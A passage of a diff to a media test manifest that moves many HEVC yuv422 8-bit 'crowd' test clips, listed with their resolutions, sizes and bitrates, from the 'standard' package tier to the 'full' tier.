   <entry key="hevc/yuv422/8bit/resolution/crowd_358x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35015,width=358,height=640,frame-rate=50,profile=,level=,bitrate=421120,package=standard</value>
+    <value>mime=video/hevc,size=35015,width=358,height=640,frame-rate=50,profile=,level=,bitrate=421120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_360x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18450,width=360,height=240,frame-rate=50,profile=,level=,bitrate=214080,package=standard</value>
+    <value>mime=video/hevc,size=18450,width=360,height=240,frame-rate=50,profile=,level=,bitrate=214080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_360x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19775,width=360,height=360,frame-rate=50,profile=,level=,bitrate=230632,package=standard</value>
+    <value>mime=video/hevc,size=19775,width=360,height=360,frame-rate=50,profile=,level=,bitrate=230632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_360x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27381,width=360,height=480,frame-rate=50,profile=,level=,bitrate=325712,package=standard</value>
+    <value>mime=video/hevc,size=27381,width=360,height=480,frame-rate=50,profile=,level=,bitrate=325712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_360x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34875,width=360,height=636,frame-rate=50,profile=,level=,bitrate=419368,package=standard</value>
+    <value>mime=video/hevc,size=34875,width=360,height=636,frame-rate=50,profile=,level=,bitrate=419368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_360x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35032,width=360,height=638,frame-rate=50,profile=,level=,bitrate=421336,package=standard</value>
+    <value>mime=video/hevc,size=35032,width=360,height=638,frame-rate=50,profile=,level=,bitrate=421336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_360x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35144,width=360,height=640,frame-rate=50,profile=,level=,bitrate=422744,package=standard</value>
+    <value>mime=video/hevc,size=35144,width=360,height=640,frame-rate=50,profile=,level=,bitrate=422744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_3840x2160p50f32_16500kbps.mp4">
     <value>mime=video/hevc,size=1225295,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15299912,package=full</value>
@@ -19410,7 +19410,7 @@
     <value>mime=video/hevc,size=1847725,width=3840,height=3840,frame-rate=50,profile=,level=,bitrate=23080280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_384x512p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=28400,width=384,height=512,frame-rate=50,profile=,level=,bitrate=338448,package=standard</value>
+    <value>mime=video/hevc,size=28400,width=384,height=512,frame-rate=50,profile=,level=,bitrate=338448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_4096x4096p50f32_24000kbps.mp4">
     <value>mime=video/hevc,size=1850383,width=4096,height=4096,frame-rate=50,profile=,level=,bitrate=23113512,package=full</value>
@@ -19419,193 +19419,193 @@
     <value>mime=video/hevc,size=1851403,width=4160,height=4160,frame-rate=50,profile=,level=,bitrate=23126256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_472x472p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35140,width=472,height=472,frame-rate=50,profile=,level=,bitrate=422696,package=standard</value>
+    <value>mime=video/hevc,size=35140,width=472,height=472,frame-rate=50,profile=,level=,bitrate=422696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_480x320p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26603,width=480,height=320,frame-rate=50,profile=,level=,bitrate=315984,package=standard</value>
+    <value>mime=video/hevc,size=26603,width=480,height=320,frame-rate=50,profile=,level=,bitrate=315984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_480x360p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27242,width=480,height=360,frame-rate=50,profile=,level=,bitrate=323968,package=standard</value>
+    <value>mime=video/hevc,size=27242,width=480,height=360,frame-rate=50,profile=,level=,bitrate=323968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_480x480p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35201,width=480,height=480,frame-rate=50,profile=,level=,bitrate=423456,package=standard</value>
+    <value>mime=video/hevc,size=35201,width=480,height=480,frame-rate=50,profile=,level=,bitrate=423456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_480x640p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49771,width=480,height=640,frame-rate=50,profile=,level=,bitrate=605584,package=standard</value>
+    <value>mime=video/hevc,size=49771,width=480,height=640,frame-rate=50,profile=,level=,bitrate=605584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_480x720p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50852,width=480,height=720,frame-rate=50,profile=,level=,bitrate=619096,package=standard</value>
+    <value>mime=video/hevc,size=50852,width=480,height=720,frame-rate=50,profile=,level=,bitrate=619096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_480x848p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64201,width=480,height=848,frame-rate=50,profile=,level=,bitrate=786056,package=standard</value>
+    <value>mime=video/hevc,size=64201,width=480,height=848,frame-rate=50,profile=,level=,bitrate=786056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_512x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20820,width=512,height=288,frame-rate=50,profile=,level=,bitrate=243696,package=standard</value>
+    <value>mime=video/hevc,size=20820,width=512,height=288,frame-rate=50,profile=,level=,bitrate=243696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_512x384p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=28373,width=512,height=384,frame-rate=50,profile=,level=,bitrate=338112,package=standard</value>
+    <value>mime=video/hevc,size=28373,width=512,height=384,frame-rate=50,profile=,level=,bitrate=338112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_512x512p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=42175,width=512,height=512,frame-rate=50,profile=,level=,bitrate=510624,package=standard</value>
+    <value>mime=video/hevc,size=42175,width=512,height=512,frame-rate=50,profile=,level=,bitrate=510624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_528x704p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=58100,width=528,height=704,frame-rate=50,profile=,level=,bitrate=709680,package=standard</value>
+    <value>mime=video/hevc,size=58100,width=528,height=704,frame-rate=50,profile=,level=,bitrate=709680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_576x1024p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=88362,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1088072,package=standard</value>
+    <value>mime=video/hevc,size=88362,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1088072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_576x704p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65374,width=576,height=704,frame-rate=50,profile=,level=,bitrate=800608,package=standard</value>
+    <value>mime=video/hevc,size=65374,width=576,height=704,frame-rate=50,profile=,level=,bitrate=800608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_576x720p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65437,width=576,height=720,frame-rate=50,profile=,level=,bitrate=801400,package=standard</value>
+    <value>mime=video/hevc,size=65437,width=576,height=720,frame-rate=50,profile=,level=,bitrate=801400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_600x800p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=72196,width=600,height=800,frame-rate=50,profile=,level=,bitrate=885880,package=standard</value>
+    <value>mime=video/hevc,size=72196,width=600,height=800,frame-rate=50,profile=,level=,bitrate=885880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_636x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35652,width=636,height=358,frame-rate=50,profile=,level=,bitrate=429080,package=standard</value>
+    <value>mime=video/hevc,size=35652,width=636,height=358,frame-rate=50,profile=,level=,bitrate=429080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_636x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35585,width=636,height=360,frame-rate=50,profile=,level=,bitrate=428248,package=standard</value>
+    <value>mime=video/hevc,size=35585,width=636,height=360,frame-rate=50,profile=,level=,bitrate=428248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_638x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35746,width=638,height=356,frame-rate=50,profile=,level=,bitrate=430248,package=standard</value>
+    <value>mime=video/hevc,size=35746,width=638,height=356,frame-rate=50,profile=,level=,bitrate=430248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_638x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35698,width=638,height=360,frame-rate=50,profile=,level=,bitrate=429656,package=standard</value>
+    <value>mime=video/hevc,size=35698,width=638,height=360,frame-rate=50,profile=,level=,bitrate=429656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35698,width=640,height=356,frame-rate=50,profile=,level=,bitrate=429656,package=standard</value>
+    <value>mime=video/hevc,size=35698,width=640,height=356,frame-rate=50,profile=,level=,bitrate=429656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35687,width=640,height=358,frame-rate=50,profile=,level=,bitrate=429520,package=standard</value>
+    <value>mime=video/hevc,size=35687,width=640,height=358,frame-rate=50,profile=,level=,bitrate=429520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35608,width=640,height=360,frame-rate=50,profile=,level=,bitrate=428544,package=standard</value>
+    <value>mime=video/hevc,size=35608,width=640,height=360,frame-rate=50,profile=,level=,bitrate=428544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49808,width=640,height=480,frame-rate=50,profile=,level=,bitrate=606048,package=standard</value>
+    <value>mime=video/hevc,size=49808,width=640,height=480,frame-rate=50,profile=,level=,bitrate=606048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x640p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65189,width=640,height=640,frame-rate=50,profile=,level=,bitrate=798296,package=standard</value>
+    <value>mime=video/hevc,size=65189,width=640,height=640,frame-rate=50,profile=,level=,bitrate=798296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x848p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=80411,width=640,height=848,frame-rate=50,profile=,level=,bitrate=988672,package=standard</value>
+    <value>mime=video/hevc,size=80411,width=640,height=848,frame-rate=50,profile=,level=,bitrate=988672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_640x960p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=95507,width=640,height=960,frame-rate=50,profile=,level=,bitrate=1177368,package=standard</value>
+    <value>mime=video/hevc,size=95507,width=640,height=960,frame-rate=50,profile=,level=,bitrate=1177368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_64x1080p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17341,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=200312,package=standard</value>
+    <value>mime=video/hevc,size=17341,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=200312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_64x1280p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17142,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=198024,package=standard</value>
+    <value>mime=video/hevc,size=17142,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=198024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_64x1920p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17637,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=204208,package=standard</value>
+    <value>mime=video/hevc,size=17637,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=204208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_64x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14669,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168024,package=standard</value>
+    <value>mime=video/hevc,size=14669,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_64x720p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16767,width=64,height=720,frame-rate=50,profile=,level=,bitrate=193144,package=standard</value>
+    <value>mime=video/hevc,size=16767,width=64,height=720,frame-rate=50,profile=,level=,bitrate=193144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_64x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15316,width=64,height=96,frame-rate=50,profile=,level=,bitrate=175112,package=standard</value>
+    <value>mime=video/hevc,size=15316,width=64,height=96,frame-rate=50,profile=,level=,bitrate=175112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_704x528p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=57782,width=704,height=528,frame-rate=50,profile=,level=,bitrate=705712,package=standard</value>
+    <value>mime=video/hevc,size=57782,width=704,height=528,frame-rate=50,profile=,level=,bitrate=705712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_704x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65235,width=704,height=576,frame-rate=50,profile=,level=,bitrate=798872,package=standard</value>
+    <value>mime=video/hevc,size=65235,width=704,height=576,frame-rate=50,profile=,level=,bitrate=798872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_704x704p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=73719,width=704,height=704,frame-rate=50,profile=,level=,bitrate=904920,package=standard</value>
+    <value>mime=video/hevc,size=73719,width=704,height=704,frame-rate=50,profile=,level=,bitrate=904920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_720x1280p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=139858,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1731672,package=standard</value>
+    <value>mime=video/hevc,size=139858,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1731672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_720x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50742,width=720,height=480,frame-rate=50,profile=,level=,bitrate=617720,package=standard</value>
+    <value>mime=video/hevc,size=50742,width=720,height=480,frame-rate=50,profile=,level=,bitrate=617720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_720x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65452,width=720,height=576,frame-rate=50,profile=,level=,bitrate=801584,package=standard</value>
+    <value>mime=video/hevc,size=65452,width=720,height=576,frame-rate=50,profile=,level=,bitrate=801584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_720x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17333,width=720,height=64,frame-rate=50,profile=,level=,bitrate=200120,package=standard</value>
+    <value>mime=video/hevc,size=17333,width=720,height=64,frame-rate=50,profile=,level=,bitrate=200120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_720x720p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=80868,width=720,height=720,frame-rate=50,profile=,level=,bitrate=994280,package=standard</value>
+    <value>mime=video/hevc,size=80868,width=720,height=720,frame-rate=50,profile=,level=,bitrate=994280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_720x960p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=103548,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1277880,package=standard</value>
+    <value>mime=video/hevc,size=103548,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1277880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_72x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15208,width=72,height=128,frame-rate=50,profile=,level=,bitrate=173656,package=standard</value>
+    <value>mime=video/hevc,size=15208,width=72,height=128,frame-rate=50,profile=,level=,bitrate=173656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_72x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15357,width=72,height=96,frame-rate=50,profile=,level=,bitrate=175720,package=standard</value>
+    <value>mime=video/hevc,size=15357,width=72,height=96,frame-rate=50,profile=,level=,bitrate=175720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_768x1024p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=118978,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1470768,package=standard</value>
+    <value>mime=video/hevc,size=118978,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1470768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_800x600p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=73368,width=800,height=600,frame-rate=50,profile=,level=,bitrate=900536,package=standard</value>
+    <value>mime=video/hevc,size=73368,width=800,height=600,frame-rate=50,profile=,level=,bitrate=900536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_800x800p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=95740,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1180280,package=standard</value>
+    <value>mime=video/hevc,size=95740,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1180280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_848x480p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65182,width=848,height=480,frame-rate=50,profile=,level=,bitrate=798224,package=standard</value>
+    <value>mime=video/hevc,size=65182,width=848,height=480,frame-rate=50,profile=,level=,bitrate=798224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_848x640p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=81419,width=848,height=640,frame-rate=50,profile=,level=,bitrate=1001168,package=standard</value>
+    <value>mime=video/hevc,size=81419,width=848,height=640,frame-rate=50,profile=,level=,bitrate=1001168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_848x848p50f32_1400kbps.mp4">
-    <value>mime=video/hevc,size=110975,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1370720,package=standard</value>
+    <value>mime=video/hevc,size=110975,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1370720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_960x1280p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=181333,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2250112,package=standard</value>
+    <value>mime=video/hevc,size=181333,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2250112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_960x1440p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=203946,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2532768,package=standard</value>
+    <value>mime=video/hevc,size=203946,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2532768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_960x640p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=95646,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1179008,package=standard</value>
+    <value>mime=video/hevc,size=95646,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1179008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_960x720p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=103984,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1283232,package=standard</value>
+    <value>mime=video/hevc,size=103984,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1283232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_960x960p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=141563,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1753072,package=standard</value>
+    <value>mime=video/hevc,size=141563,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1753072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_96x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15409,width=96,height=128,frame-rate=50,profile=,level=,bitrate=176168,package=standard</value>
+    <value>mime=video/hevc,size=15409,width=96,height=128,frame-rate=50,profile=,level=,bitrate=176168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_96x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15224,width=96,height=144,frame-rate=50,profile=,level=,bitrate=173856,package=standard</value>
+    <value>mime=video/hevc,size=15224,width=96,height=144,frame-rate=50,profile=,level=,bitrate=173856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_96x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16219,width=96,height=176,frame-rate=50,profile=,level=,bitrate=186296,package=standard</value>
+    <value>mime=video/hevc,size=16219,width=96,height=176,frame-rate=50,profile=,level=,bitrate=186296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_96x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15215,width=96,height=64,frame-rate=50,profile=,level=,bitrate=175744,package=standard</value>
+    <value>mime=video/hevc,size=15215,width=96,height=64,frame-rate=50,profile=,level=,bitrate=175744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_96x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15220,width=96,height=72,frame-rate=50,profile=,level=,bitrate=174008,package=standard</value>
+    <value>mime=video/hevc,size=15220,width=96,height=72,frame-rate=50,profile=,level=,bitrate=174008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_96x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15764,width=96,height=96,frame-rate=50,profile=,level=,bitrate=181008,package=standard</value>
+    <value>mime=video/hevc,size=15764,width=96,height=96,frame-rate=50,profile=,level=,bitrate=181008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=326516,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4064896,package=standard</value>
+    <value>mime=video/hevc,size=326516,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4064896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=329396,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4100896,package=standard</value>
+    <value>mime=video/hevc,size=329396,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4100896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=329432,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4100896,package=standard</value>
+    <value>mime=video/hevc,size=329432,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4100896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_1.mp4">
     <value>mime=video/hevc,size=920197,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11485432,package=full</value>
@@ -19614,13 +19614,13 @@
     <value>mime=video/hevc,size=434141,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5400448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=239876,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2971512,package=standard</value>
+    <value>mime=video/hevc,size=239876,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2971512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=290930,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3598512,package=standard</value>
+    <value>mime=video/hevc,size=290930,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3598512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=214506,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2654600,package=standard</value>
+    <value>mime=video/hevc,size=214506,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2654600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_vert_1_255.mp4">
     <value>mime=video/hevc,size=583909,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7277344,package=full</value>
@@ -19680,61 +19680,61 @@
     <value>mime=video/hevc,size=3796216,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=47431480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=75582,width=640,height=360,frame-rate=50,profile=,level=,bitrate=928224,package=standard</value>
+    <value>mime=video/hevc,size=75582,width=640,height=360,frame-rate=50,profile=,level=,bitrate=928224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=75778,width=640,height=360,frame-rate=50,profile=,level=,bitrate=930672,package=standard</value>
+    <value>mime=video/hevc,size=75778,width=640,height=360,frame-rate=50,profile=,level=,bitrate=930672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=75813,width=640,height=360,frame-rate=50,profile=,level=,bitrate=930672,package=standard</value>
+    <value>mime=video/hevc,size=75813,width=640,height=360,frame-rate=50,profile=,level=,bitrate=930672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_1.mp4">
-    <value>mime=video/hevc,size=184057,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2283680,package=standard</value>
+    <value>mime=video/hevc,size=184057,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2283680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=85361,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1040696,package=standard</value>
+    <value>mime=video/hevc,size=85361,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1040696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=58258,width=640,height=360,frame-rate=50,profile=,level=,bitrate=701280,package=standard</value>
+    <value>mime=video/hevc,size=58258,width=640,height=360,frame-rate=50,profile=,level=,bitrate=701280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=71304,width=640,height=360,frame-rate=50,profile=,level=,bitrate=853200,package=standard</value>
+    <value>mime=video/hevc,size=71304,width=640,height=360,frame-rate=50,profile=,level=,bitrate=853200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=51217,width=640,height=360,frame-rate=50,profile=,level=,bitrate=613480,package=standard</value>
+    <value>mime=video/hevc,size=51217,width=640,height=360,frame-rate=50,profile=,level=,bitrate=613480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=117196,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443448,package=standard</value>
+    <value>mime=video/hevc,size=117196,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443448,package=full</value>
   </entry>
